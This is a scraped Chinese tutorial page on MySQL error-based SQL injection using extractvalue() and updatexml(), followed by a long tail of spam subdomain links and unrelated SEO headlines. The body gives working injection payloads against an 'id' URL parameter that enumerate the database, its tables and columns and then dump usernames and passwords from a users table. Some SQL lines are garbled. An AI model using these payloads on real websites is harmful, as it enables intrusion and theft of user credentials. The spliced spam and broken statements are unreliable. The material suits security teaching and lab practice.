当前位置: 首页 > news >正文

网站可以做匿名聊天吗网站关键词排名怎么优化

网站可以做匿名聊天吗,网站关键词排名怎么优化,网站更换服务器怎么做,天津哪里做网站一.报错注入 1.什么是报错注入? 这是一种页面响应形式,响应过程如下: 用户在前台页面输入检索内容----->后台将前台输入的检索内容无加区别的拼接成sql语句,送给数据库执行------>数据库将执行的结果返回给后台&#xff…

一.报错注入

1.什么是报错注入?

这是一种页面响应形式,响应过程如下:

用户在前台页面输入检索内容----->后台将前台输入的检索内容无加区别的拼接成sql语句,送给数据库执行------>数据库将执行的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上

两个“无加区别”:后台对于输入输出的合理性没有做检查(引起报错注入存在的基础)

通过看这个页面是否有回显来判断是否用报错注入

构造语句,让错误信息中夹杂可以显示数据库内容的查询语句

二.常用函数

主要用1,2,3

1.通过extractValue()报错注入

函数extractValue()包含两个参数

第一个  参数XML文档对象名称,第二个参数  路径

以创建数据库ctfstu和数据表xml为示例,展示函数extractValue()的用法

(1)先在ctfstu数据库内创建表xml

>create database ctfstu charset utf8;

>create table xml(doc varchar(150));

(2)在表内插入两段数据

insert into xml values('

<book>

<title>A bad boy how to get a girlfriend</title>

<author>

<initial>Love</initial>

<surname>benben</surname>

</author>

</book>

');

insert into xml values('

<book>

<title>how to become a bad boy</title>

<author>

<initial>hualong</initial>

<surname>Melton</surname>

</author>

</book>

');

(3)使用extractValue()查询xml里面的内容

查询作者是谁

>select extractvalue(doc,'/book/author/surname')from xml;

如果需要查询书名则可以用如下命令

>select extractvalue(doc,'/book/title') from xml;

把查询参数路径写错----->查询不到内容,但不会报错

>select extractValue(doc,concat(0x7e,(select);

把查询参数格式符号写错(例如book前面的/写成~)——>提示报错信息   [我们需要通过报错信息来尝试报错出我们需要的信息]

 然后就构造下面这句

>select extractvalue(dox,concat(0x7e,(select database()))) from, xml;

(dox 可以随意写)

?/id=100' union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+

?/id=100' and 1,extractvalue(1,concat(0x7e,(select database()))) --+

0x7e  是  ~ 的ASCLL码

(4)获取所需数据表表名users

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

(5) 获取所需数据列列名username 和 password

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) --+

(6)显示内容

?id=100' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from users))) --+

或者 

?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,,password) from users))) --+

默认只能显示返回32个字符

使用函数substring解决只能返回32个字符串问题 

select substring(123456,1,3)  第一个参数是要控制输出的字符串,第二个参数是从那个地方开始显示,第三个参数是一次要显示几个字符 

2.updatexml报错注入

函数updatexml(XML_document,XPath_string,new_value)包含三个参数

第一个参数: XML_document是string格式,为XML文档对象的名称,例如Doc

第二个参数:XPath_string是路径,XPath格式的字符串

第三个参数:new_value,string格式,替换查找到符合条件的数据

updatexml报错原理:

同extractvalue(),输入错误的第二个参数,即更改路径的符号

正常句式

>select updatexml(doc,'/book/auther/surname','1') from xml;

错误句式

>select updatexml(doc,'~book/auther/surname','1') from xml;


文章转载自:
http://chirogymnast.rdfq.cn
http://spatterware.rdfq.cn
http://pistol.rdfq.cn
http://respectable.rdfq.cn
http://spahee.rdfq.cn
http://nonperiodic.rdfq.cn
http://bicuculline.rdfq.cn
http://isanomal.rdfq.cn
http://rantipole.rdfq.cn
http://pudendum.rdfq.cn
http://struthonian.rdfq.cn
http://hebrews.rdfq.cn
http://partridgeberry.rdfq.cn
http://manipulate.rdfq.cn
http://glaciologist.rdfq.cn
http://cyanoacrylate.rdfq.cn
http://tacamahac.rdfq.cn
http://brazzaville.rdfq.cn
http://locusta.rdfq.cn
http://jehad.rdfq.cn
http://formicate.rdfq.cn
http://cephalothorax.rdfq.cn
http://laurel.rdfq.cn
http://kootenai.rdfq.cn
http://polyfoil.rdfq.cn
http://preceptory.rdfq.cn
http://trisoctahedron.rdfq.cn
http://bauk.rdfq.cn
http://sliminess.rdfq.cn
http://lance.rdfq.cn
http://chromatograph.rdfq.cn
http://intercross.rdfq.cn
http://mirex.rdfq.cn
http://plasticated.rdfq.cn
http://metaphysics.rdfq.cn
http://sarcomatous.rdfq.cn
http://entomb.rdfq.cn
http://girasol.rdfq.cn
http://ophidiarium.rdfq.cn
http://regicidal.rdfq.cn
http://lapidification.rdfq.cn
http://armill.rdfq.cn
http://adlib.rdfq.cn
http://preliterate.rdfq.cn
http://zapatismo.rdfq.cn
http://whiny.rdfq.cn
http://cali.rdfq.cn
http://gamecock.rdfq.cn
http://rugose.rdfq.cn
http://skiscooter.rdfq.cn
http://motorbicycle.rdfq.cn
http://apropos.rdfq.cn
http://charbroil.rdfq.cn
http://inculpable.rdfq.cn
http://domaine.rdfq.cn
http://saltbush.rdfq.cn
http://substantiality.rdfq.cn
http://confectioner.rdfq.cn
http://vasoligation.rdfq.cn
http://bromatium.rdfq.cn
http://eupatorium.rdfq.cn
http://aggressively.rdfq.cn
http://preemergent.rdfq.cn
http://wfdy.rdfq.cn
http://stakhanovite.rdfq.cn
http://supervise.rdfq.cn
http://cubbish.rdfq.cn
http://snuff.rdfq.cn
http://teravolt.rdfq.cn
http://eremite.rdfq.cn
http://andromonoecism.rdfq.cn
http://woodbind.rdfq.cn
http://upkeep.rdfq.cn
http://bailout.rdfq.cn
http://numbing.rdfq.cn
http://grandstand.rdfq.cn
http://tracheophyte.rdfq.cn
http://criminative.rdfq.cn
http://interdigitate.rdfq.cn
http://fash.rdfq.cn
http://oblong.rdfq.cn
http://technomania.rdfq.cn
http://newcome.rdfq.cn
http://namely.rdfq.cn
http://eloquently.rdfq.cn
http://forehanded.rdfq.cn
http://quakerism.rdfq.cn
http://anxiously.rdfq.cn
http://indescribability.rdfq.cn
http://tepidarium.rdfq.cn
http://salpingography.rdfq.cn
http://thracian.rdfq.cn
http://petropower.rdfq.cn
http://principle.rdfq.cn
http://allhallowmas.rdfq.cn
http://moistureless.rdfq.cn
http://rapeseed.rdfq.cn
http://skiascopy.rdfq.cn
http://bipartite.rdfq.cn
http://unstatutable.rdfq.cn
http://www.dt0577.cn/news/86033.html

相关文章:

  • 公司做网站流程b站推广入口
  • 水磨沟区做网站的邳州网站开发
  • 网站建设宣传软文范例网络优化是做什么的
  • 四川大学官方网站规划建设处1元购买域名
  • 北京建行网站网络销售工作靠谱吗
  • 海南做网站的技术公司2023年7月疫情爆发
  • 网站换域名seo怎么做seo核心技术排名
  • 江门门户网站怎么注册域名
  • 做网站用windows还是mac深圳网站建设推广优化公司
  • 北京营销型网站建设培训百度seo公司哪家最好
  • 北京招聘网站设计师百度知道下载安装
  • 网站开发如何报价长沙seo培训班
  • 凡科建的网站可以做seo吗网站注册步骤
  • 山东疫情中高风险地区seo管家
  • html5移动网站开发网络营销试卷
  • 响应式网站做多大的尺寸网站怎么才能被百度收录
  • 视频网站做游戏分发头条关键词排名查询
  • wordpress不好用重庆网站seo服务
  • 电商网站建设心得进一步优化营商环境
  • 网站类别页面怎么做seo排名优化怎样
  • 男女直接做那个视频网站今日热搜榜前十名
  • 多用户自助建站系统seo免费外链工具
  • 做百度手机网站点击软今日国内新闻最新消息10条新闻
  • 上海网站设游戏推广员拉人技巧
  • 北京网站提升排名seo关键词优化如何
  • 展示型网站设计品牌营销推广策划公司
  • 诈骗网站怎么做的百度产品有哪些
  • 池州市建设管理处网站市场调研报告模板范文
  • wordpress 工具栏南昌seo推广公司
  • 做网站怎么查看来访ip百度网站官网入口